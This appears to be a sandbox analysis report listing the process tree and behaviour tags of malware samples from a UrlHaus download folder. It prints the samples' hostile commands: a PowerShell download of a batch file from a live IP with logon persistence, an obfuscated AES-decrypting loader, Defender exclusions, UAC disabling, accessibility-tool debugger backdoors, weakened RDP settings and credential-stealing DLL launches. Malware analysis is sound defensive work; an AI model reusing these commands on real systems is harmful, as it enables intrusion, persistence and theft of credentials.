C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1956,7798941283357386581,9785834963748097858,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3388 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=1956,7798941283357386581,9785834963748097858,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5032 /prefetch:19⤵
-
-
-
C:\Windows\system32\attrib.exeattrib +s +h d:\net8⤵
- Sets file to hidden
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "invoke-webrequest -uri http://206.217.142.166:1234/windows/v2/dr.bat -outfile d:\net\dr\dr.bat"8⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\schtasks.exeSchTasks /Create /SC ONLOGON /TN "my dr" /TR "d:\net\dr\dr.bat" /f8⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\t6kzDd6.exe"C:\Users\Admin\Downloads\UrlHausFiles\t6kzDd6.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of FindShellTrayWindow
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5740 -s 7484⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5740 -s 7964⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5740 -s 8124⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5740 -s 9204⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5740 -s 9404⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5740 -s 9604⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5740 -s 11324⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5740 -s 11844⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5740 -s 12364⤵
- Program crash
-
-
C:\Users\Admin\AppData\Local\Temp\9f16311490\Gxtuum.exe"C:\Users\Admin\AppData\Local\Temp\9f16311490\Gxtuum.exe"4⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1968 -s 5405⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1968 -s 8125⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1968 -s 8325⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1968 -s 8325⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1968 -s 8725⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1968 -s 10205⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1968 -s 10485⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1968 -s 15525⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1968 -s 15565⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1968 -s 16525⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1968 -s 15525⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1968 -s 17325⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1968 -s 16445⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1968 -s 18685⤵
- Program crash
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1968 -s 15725⤵
- Program crash
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Roaming\10000110280\min1_Melted.cmd"5⤵
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /S /D /c" echo $host.UI.RawUI.WindowTitle='C:\Users\Admin\AppData\Roaming\10000110280\min1_Melted.cmd';$lAeq='GfZBCetCfZBCurfZBCrefZBCnfZBCtfZBCPrfZBCocfZBCefZBCsfZBCsfZBC'.Replace('fZBC', ''),'MaiPrpmnMoPrpmdPrpmulPrpmePrpm'.Replace('Prpm', ''),'CrIgJgeatIgJgeIgJgDeIgJgcIgJgryIgJgpIgJgtoIgJgrIgJg'.Replace('IgJg', ''),'EJqHmntJqHmrJqHmyPoJqHmintJqHm'.Replace('JqHm', ''),'EleDBwrmeDBwrntADBwrtDBwr'.Replace('DBwr', ''),'ChaFGFHnFGFHgFGFHeEFGFHxtFGFHeFGFHnsiFGFHonFGFH'.Replace('FGFH', ''),'TrFaEMansFaEMfoFaEMrmFaEMFinFaEMalBFaEMlFaEMockFaEM'.Replace('FaEM', ''),'IpACXnvpACXokpACXepACX'.Replace('pACX', ''),'Sssrbplissrbtssrb'.Replace('ssrb', ''),'DVGtReVGtRcomVGtRpreVGtRssVGtR'.Replace('VGtR', ''),'FroomPomBoomPasoomPe6oomP4SoomPtroomPingoomP'.Replace('oomP', ''),'ReaafWIdLafWIinafWIeafWIsafWI'.Replace('afWI', ''),'LIdMHoaIdMHdIdMH'.Replace('IdMH', ''),'CBGdXopBGdXyBGdXToBGdX'.Replace('BGdX', '');powershell -w hidden;$modules=[System.Diagnostics.Process]::($lAeq[0])().Modules;if ($modules -match 'hmpalert.dll') { exit; };function PvrJj($TpxZW){$NbCzo=[System.Security.Cryptography.Aes]::Create();$NbCzo.Mode=[System.Security.Cryptography.CipherMode]::CBC;$NbCzo.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7;$NbCzo.Key=[System.Convert]::($lAeq[10])('wn6tmbO/rOORgxj74qEsSdU2WhE4KPXIqhTJPDz2aPY=');$NbCzo.IV=[System.Convert]::($lAeq[10])('gHqzXB7DsEnzxXPGoUcHcg==');$PddqI=$NbCzo.($lAeq[2])();$ySKdP=$PddqI.($lAeq[6])($TpxZW,0,$TpxZW.Length);$PddqI.Dispose();$NbCzo.Dispose();$ySKdP;}function rEEVf($TpxZW){$QUakK=New-Object System.IO.MemoryStream(,$TpxZW);$zUBgT=New-Object System.IO.MemoryStream;$PwRDy=New-Object System.IO.Compression.GZipStream($QUakK,[IO.Compression.CompressionMode]::($lAeq[9]));$PwRDy.($lAeq[13])($zUBgT);$PwRDy.Dispose();$QUakK.Dispose();$zUBgT.Dispose();$zUBgT.ToArray();}$lkrNY=[System.IO.File]::($lAeq[11])([Console]::Title);$aZZTu=rEEVf (PvrJj ([Convert]::($lAeq[10])([System.Linq.Enumerable]::($lAeq[4])($lkrNY, 5).Substring(2))));$cSjRs=rEEVf (PvrJj ([Convert]::($lAeq[10])([System.Linq.Enumerable]::($lAeq[4])($lkrNY, 6).Substring(2))));[System.Reflection.Assembly]::($lAeq[12])([byte[]]$cSjRs).($lAeq[3]).($lAeq[7])($null,$null);[System.Reflection.Assembly]::($lAeq[12])([byte[]]$aZZTu).($lAeq[3]).($lAeq[7])($null,$null); "6⤵
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeC:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe6⤵
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w hidden7⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" add-mppreference -exclusionpath @('C:\','D:\','F:\')7⤵
- Command and Scripting Interpreter: PowerShell
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" [Console]::Title = ((Get-ScheduledTask).Actions.Execute -join '').Contains('C:\Users\Admin\AppData\Roaming\10000110280\min1_Melted')7⤵
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Register-ScheduledTask -TaskName 'OneNote 46102' -Trigger (New-ScheduledTaskTrigger -AtLogon) -Action (New-ScheduledTaskAction -Execute 'C:\Windows\system32\config\systemprofile\AppData\Roaming\Network46102Man.cmd') -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -Hidden -ExecutionTimeLimit 0) -RunLevel Highest -Force7⤵
- Command and Scripting Interpreter: PowerShell
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 1968 -s 19765⤵
- Program crash
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Windows\system32\config\systemprofile\AppData\Roaming\5114ae63d6bd6b\clip64.dll, Main5⤵
-
-
C:\Windows\SysWOW64\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Windows\system32\config\systemprofile\AppData\Roaming\5114ae63d6bd6b\cred64.dll, Main5⤵
-
C:\Windows\system32\rundll32.exe"C:\Windows\System32\rundll32.exe" C:\Windows\system32\config\systemprofile\AppData\Roaming\5114ae63d6bd6b\cred64.dll, Main6⤵
-
-
-
-
C:\Windows\SysWOW64\WerFault.exeC:\Windows\SysWOW64\WerFault.exe -u -p 5740 -s 12284⤵
- Program crash
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\svchost.exe"C:\Users\Admin\Downloads\UrlHausFiles\svchost.exe"3⤵
- Executes dropped EXE
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\Downloads\UrlHausFiles\cmd.cmd" "3⤵
-
C:\Windows\system32\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v EnableLUA /t REG_DWORD /d 0 /f4⤵
- UAC bypass
-
-
C:\Windows\system32\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe" /f /v Debugger /t REG_SZ /d "C:\Windows\system32\cmd.exe"4⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\Magnify.exe" /f /v Debugger /t REG_SZ /d "C:\Windows\system32\cmd.exe"4⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\HelpPane.exe" /f /v Debugger /t REG_SZ /d "C:\Windows\system32\cmd.exe"4⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exeREG ADD "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\utilman.exe" /f /v Debugger /t REG_SZ /d "C:\Windows\system32\cmd.exe"4⤵
- Event Triggered Execution: Image File Execution Options Injection
-
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /f /v fDenyTSConnections /t REG_DWORD /d "00000000"4⤵
-
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /f /v fAllowUnsolicited /t REG_DWORD /d "00000001"4⤵
-
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /f /v UserAuthentication /t REG_DWORD /d "00000000"4⤵
-
-
C:\Windows\system32\reg.exeREG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /f /v SecurityLayer /t REG_DWORD /d "00000001"4⤵
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\1_encoded.exe"C:\Users\Admin\Downloads\UrlHausFiles\1_encoded.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Downloads\UrlHausFiles\pornhub_downloader.exe"C:\Users\Admin\Downloads\UrlHausFiles\pornhub_downloader.exe"3⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\3E9A.tmp\3E9B.tmp\3E9C.bat C:\Users\Admin\Downloads\UrlHausFiles\pornhub_downloader.exe"4⤵
-
C:\Windows\system32\mshta.exemshta vbscript:createobject("shell.application").shellexecute("C:\Users\Admin\DOWNLO~1\URLHAU~1\PORNHU~1.EXE","goto :target","","runas",1)(window.close)5⤵
- Checks computer location settings
- Access Token Manipulation: Create Process with Token
-
C:\Users\Admin\DOWNLO~1\URLHAU~1\PORNHU~1.EXE"C:\Users\Admin\DOWNLO~1\URLHAU~1\PORNHU~1.EXE" goto :target6⤵
- Checks computer location settings
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Windows\system32\cmd.exe"C:\Windows\sysnative\cmd.exe" /c "C:\Users\Admin\AppData\Local\Temp\40CD.tmp\40CE.tmp\40CF.bat C:\Users\Admin\DOWNLO~1\URLHAU~1\PORNHU~1.EXE goto :target"7⤵
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "ConsentPromptBehaviorAdmin" /t reg_dword /d 0 /F8⤵
- UAC bypass
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "EnableLUA" /t reg_dword /d 0 /F8⤵
- UAC bypass
-
-
C:\Windows\system32\reg.exereg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System" /v "PromptOnSecureDesktop" /t reg_dword /d 0 /F8⤵
- UAC bypass
-
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "reg query HKEY_CLASSES_ROOT\http\shell\open\command"8⤵
-
C:\Windows\system32\reg.exereg query HKEY_CLASSES_ROOT\http\shell\open\command9⤵
-
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --single-argument https://www.pornhub.com/8⤵
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data" --annotation=IsOfficialBuild=1 --annotation=channel= --annotation=chromium-version=92.0.4515.131 "--annotation=exe=C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --annotation=plat=Win64 "--annotation=prod=Microsoft Edge" --annotation=ver=92.0.902.67 --initial-client-data=0x118,0x11c,0x120,0xf4,0x124,0x7ffeaa5c46f8,0x7ffeaa5c4708,0x7ffeaa5c47189⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=gpu-process --field-trial-handle=2240,9693803372023431205,9594669865106553876,131072 --gpu-preferences=UAAAAAAAAADgAAAQAAAAAAAAAAAAAAAAAABgAAAAAAAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAAeAAAAAAAAAAoAAAABAAAACAAAAAAAAAAKAAAAAAAAAAwAAAAAAAAADgAAAAAAAAAEAAAAAAAAAAAAAAADQAAABAAAAAAAAAAAQAAAA0AAAAQAAAAAAAAAAQAAAANAAAAEAAAAAAAAAAHAAAADQAAAAgAAAAAAAAACAAAAAAAAAA= --mojo-platform-channel-handle=2248 /prefetch:29⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=2240,9693803372023431205,9594669865106553876,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2304 /prefetch:39⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=2240,9693803372023431205,9594669865106553876,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2940 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2240,9693803372023431205,9594669865106553876,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3384 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2240,9693803372023431205,9594669865106553876,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3428 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2240,9693803372023431205,9594669865106553876,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4500 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2240,9693803372023431205,9594669865106553876,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5436 /prefetch:89⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe"C:\Program Files (x86)\Microsoft\Edge\Application\92.0.902.67\identity_helper.exe" --type=utility --utility-sub-type=winrt_app_id.mojom.WinrtAppIdService --field-trial-handle=2240,9693803372023431205,9594669865106553876,131072 --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=5436 /prefetch:89⤵
- Suspicious behavior: EnumeratesProcesses
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2240,9693803372023431205,9594669865106553876,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5532 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2240,9693803372023431205,9594669865106553876,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5548 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2240,9693803372023431205,9594669865106553876,131072 --lang=en-US --disable-client-side-phishing-detection --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=11 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=4472 /prefetch:19⤵
-
-
C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --field-trial-handle=2240,9693803372023431205,9594669865106553876,131072 --lang=en-US --disable-client-side-phishing-detection --instant-process --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=12 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=5288 /prefetch:19⤵
-
-
-
C:\Windows\system32\attrib.exeattrib +s +h d:\net8⤵
- Sets file to hidden
- Views/modifies file attributes
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -c "invoke-webrequest -uri http://206.217.142.166:1234/windows/v2/dr.bat -outfile d:\net\dr\dr.bat"8⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Windows\system32\schtasks.exeSchTasks /Create /SC ONLOGON /TN "my dr" /TR "d:\net\dr\dr.bat" /f8⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\Taskmgr.exe"C:\Users\Admin\Downloads\UrlHausFiles\Taskmgr.exe"3⤵
- Executes dropped EXE
-
-
C:\Users\Admin\Downloads\UrlHausFiles\hack1226.exe"C:\Users\Admin\Downloads\UrlHausFiles\hack1226.exe"3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
-
C:\Users\Admin\Downloads\UrlHausFiles\dmshell.exe"C:\Users\Admin\Downloads\UrlHausFiles\dmshell.exe"3⤵
- Executes dropped EXE
-
C:\Windows\SYSTEM32\cmd.execmd4⤵
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\Registry.exe"C:\Users\Admin\Downloads\UrlHausFiles\Registry.exe"3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Runtime Broker.exe" /rl HIGHEST /f4⤵
- Scheduled Task/Job: Scheduled Task
-
-
C:\Users\Admin\AppData\Roaming\SubDir\Runtime Broker.exe"C:\Users\Admin\AppData\Roaming\SubDir\Runtime Broker.exe"4⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SendNotifyMessage
-
C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "Runtime Broker" /sc ONLOGON /tr "C:\Users\Admin\AppData\Roaming\SubDir\Runtime Broker.exe" /rl HIGHEST /f5⤵
- Scheduled Task/Job: Scheduled Task
-
-
-
-
C:\Users\Admin\Downloads\UrlHausFiles\ChromeSetup.exe"C:\Users\Admin\Downloads\UrlHausFiles\ChromeSetup.exe"3⤵
- Executes dropped EXE
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
-
C:\Program Files (x86)\Google\Temp\GUM656D.tmp\GoogleUpdate.exe"C:\Program Files (x86)\Google\Temp\GUM656D.tmp\GoogleUpdate.exe" /installsource taggedmi /install "appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={DB24EDD3-9920-5D5F-FBBE-8E743F7486C1}&lang=zh-CN&browser=2&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=x64-stable-statsdef_1&installdataindex=empty"4⤵
- Event Triggered Execution: Image File Execution Options Injection
- Checks computer location settings
- Executes dropped EXE
- Loads dropped DLL
- Drops file in Program Files directory
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regsvc5⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /regserver5⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Modifies registry class
-
C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleUpdateComRegisterShell64.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
-
-
C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleUpdateComRegisterShell64.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
-
-
C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleUpdateComRegisterShell64.exe"C:\Program Files (x86)\Google\Update\1.3.36.352\GoogleUpdateComRegisterShell64.exe"6⤵
- Executes dropped EXE
- Loads dropped DLL
- Modifies registry class
-
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /ping PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48cmVxdWVzdCBwcm90b2NvbD0iMy4wIiB1cGRhdGVyPSJPbWFoYSIgdXBkYXRlcnZlcnNpb249IjEuMy4zNi4zNTIiIHNoZWxsX3ZlcnNpb249IjEuMy4zNi4zNTEiIGlzbWFjaGluZT0iMSIgc2Vzc2lvbmlkPSJ7MkYwOUQ0OUEtRDIyNC00NEU1LTk1NjAtQkI5NDQ2MDEyM0QwfSIgdXNlcmlkPSJ7OTQ1MjhCNDgtNDg1RC00NjM3LUEyNDItNjcwQzUzRkUzRjY0fSIgaW5zdGFsbHNvdXJjZT0idGFnZ2VkbWkiIHJlcXVlc3RpZD0ie0ZDQTVGOTA4LTgwMjktNDdCQi1BRjlELUI3RTVEMzA1RTk1MX0iIGRlZHVwPSJjciIgZG9tYWluam9pbmVkPSIwIj48aHcgcGh5c21lbW9yeT0iOCIgc3NlPSIxIiBzc2UyPSIxIiBzc2UzPSIxIiBzc3NlMz0iMSIgc3NlNDE9IjEiIHNzZTQyPSIxIiBhdng9IjEiLz48b3MgcGxhdGZvcm09IndpbiIgdmVyc2lvbj0iMTAuMC4xOTA0MS4xMjg4IiBzcD0iIiBhcmNoPSJ4NjQiLz48YXBwIGFwcGlkPSJ7NDMwRkQ0RDAtQjcyOS00RjYxLUFBMzQtOTE1MjY0ODE3OTlEfSIgdmVyc2lvbj0iMS4zLjM2LjM3MSIgbmV4dHZlcnNpb249IjEuMy4zNi4zNTIiIGxhbmc9InpoLUNOIiBicmFuZD0iIiBjbGllbnQ9IiIgaWlkPSJ7REIyNEVERDMtOTkyMC01RDVGLUZCQkUtOEU3NDNGNzQ4NkMxfSI-PGV2ZW50IGV2ZW50dHlwZT0iMiIgZXZlbnRyZXN1bHQ9IjEiIGVycm9yY29kZT0iMCIgZXh0cmFjb2RlMT0iMCIgaW5zdGFsbF90aW1lX21zPSIxMjIzIi8-PC9hcHA-PC9yZXF1ZXN0Pg5⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- System Network Configuration Discovery: Internet Connection Discovery
-
-
C:\Program Files (x86)\Google\Update\GoogleUpdate.exe"C:\Program Files (x86)\Google\Update\GoogleUpdate.exe" /handoff "appguid={8A69D345-D564-463C-AFF1-A69D9E530F96}&iid={DB24EDD3-9920-5D5F-FBBE-8E743F7486C1}&lang=zh-CN&browser=2&usagestats=1&appname=Google%20Chrome&needsadmin=prefers&ap=x64-stable-statsdef_1&installdataindex=empty" /installsource taggedmi /sessionid "{2F09D49A-D224-44E5-9560-BB94460123D0}"5⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
-
-
-
-
